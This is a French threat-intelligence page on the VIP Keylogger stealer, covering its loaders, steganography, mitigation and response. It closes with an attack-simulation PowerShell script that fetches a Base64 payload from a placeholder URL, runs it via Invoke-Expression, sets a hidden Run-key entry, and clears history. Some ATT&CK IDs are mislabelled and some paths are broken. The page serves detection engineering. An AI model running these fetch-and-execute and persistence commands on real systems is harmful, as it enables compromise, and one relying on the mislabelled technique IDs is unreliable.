SOC Prime Bias: Moyen

18 May 2026 19:04 UTC

VIP Keylogger et ses tactiques d’évasion à plusieurs niveaux

Author Photo
SOC Prime Team linkedin icon Suivre
VIP Keylogger et ses tactiques d’évasion à plusieurs niveaux
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

VIP Keylogger est une menace modulaire de vol d’informations diffusée via des appâts de phishing tels que de fausses alertes de paiement bancaire. Sa chaîne d’infection repose sur des chargeurs malveillants VBS, JavaScript ou batch qui utilisent une forte obfuscation, de la stéganographie dans les images PNG, et détournent les variables d’environnement pour masquer les étapes PowerShell avant de lancer le keylogger final. Une fois actif, le logiciel malveillant capture les identifiants, les captures d’écran, le contenu du presse-papiers et les mots de passe Wi-Fi, puis exfiltre les données via plusieurs canaux de commande et de contrôle. Les efforts de détection devraient se concentrer sur les modifications suspectes du registre, les valeurs inhabituelles des variables d’environnement et les transitions anormales de l’exécution de scripts à des charges utiles binaires.

Enquête

L’équipe de recherche sur les menaces de Splunk a examiné plus de 200 échantillons de chargeurs collectés en mars et avril 2026, documentant leurs modèles de nommage, variantes de chargeurs, et l’utilisation stéganographique des fichiers PNG pour la livraison des charges utiles. Les chercheurs ont reproduit le processus de désobfuscation, identifié l’abus de la INTERNAL_DB_CACHE variable d’environnement, et tracé la persistance jusqu’à la clé de registre UserInitMprLogonScript . Le rapport a également cartographié chaque comportement observé aux techniques MITRE ATT&CK pertinentes pour soutenir l’ingénierie de détection.

Atténuation

Les organisations devraient arrêter les tentatives de phishing initiales par des contrôles de sécurité des e-mails plus forts et un filtrage d’URL. Les défenseurs devraient surveiller la création et la modification des valeurs HKCUEnvironment , en particulier les entrées surdimensionnées ou l’utilisation de la variable INTERNAL_DB_CACHE . L’exécution de chargeurs basés sur des scripts à partir de répertoires modifiables par l’utilisateur devrait être restreinte, et le mode de langage contraint de PowerShell devrait être imposé lorsque cela est possible. Les outils de sécurité des points d’extrémité devraient également détecter l’injection de processus dans aspnet_compiler.exe et les activités suspectes de netsh .

Réponse

Si un indicateur de VIP Keylogger est détecté, isolez l’hôte affecté, collectez la mémoire volatiles et les journaux d’exécution de processus récents, et recherchez les artefacts connus du registre, les URL de commande et contrôle basés sur PNG, et les fichiers déposés. Les scripts malveillants doivent être supprimés, les identifiants exposés réinitialisés, et un balayage plus large doit être effectué sur l’environnement pour les artefacts de chargeurs connexes et mécanismes de persistance.

Flux d’attaque

Exécution de la simulation

Préalable : le contrôle préalable de télémétrie et de référence doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront des erreurs de diagnostic.

  • Narratif d’attaque et commandes :

    1. Reconnaissance initiale – l’attaquant exécute Get-ADDomain (T1016.002) pour découvrir les relations de confiance du domaine.
    2. Acquisition de charge utile – en utilisant Invoke-WebRequest (T1071.001) l’attaquant télécharge une DLL encodée en Base64 qui implémente le keylogger (T1056.001).
    3. Mise en scène via une variable d’environnement – la chaîne téléchargée est stockée dans une variable d’environnement au niveau de l’utilisateur via [Environment]::SetEnvironmentVariable. Cette étape satisfait l’accent de la règle de détection sur la manipulation des variables d’environnement.
    4. Exécution dynamique – l’attaquant exécute immédiatement la charge utile avec Invoke-Expression $env:VIPPayload (T1059.001). Le keylogger commence à capturer les frappes au clavier, les captures d’écran (T1113), et les données du presse-papiers (T1115).
    5. Nettoyage – après avoir établi la persistance (par exemple, en créant une clé Run, T1037.001), l’attaquant supprime la DLL temporaire du disque (T1070.004) et retire la variable d’environnement pour réduire les traces forensic.
  • Script de test de régression : Le script ci-dessous reproduit exactement les étapes et génère la télémétrie que la règle Sigma attend.

    # Simulation VIP Keylogger - PowerShell
    # -------------------------------------------------
    # 1. Télécharger une charge utile factice (chaîne encodée en Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Stocker la charge utile dans une variable d'environnement au niveau de l'utilisateur
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Décoder et exécuter la charge utile via Invoke-Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Optionnel) Persister via clé Run - démontre T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Nettoyage - supprimer la variable d'environnement et l'entrée de clé Run
    Start-Sleep -Seconds 30   # permettre l'enregistrement de certaines activités
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Commandes de nettoyage : Exécutez ces commandes pour ramener le système à un état impeccable après le test.

    # Supprimer la variable d'environnement créée pour le test
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Supprimer l'entrée de clé Run de persistance si elle existe
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Effacer toutes les entrées résiduelles de l'historique PowerShell (optionnel)
    Clear-History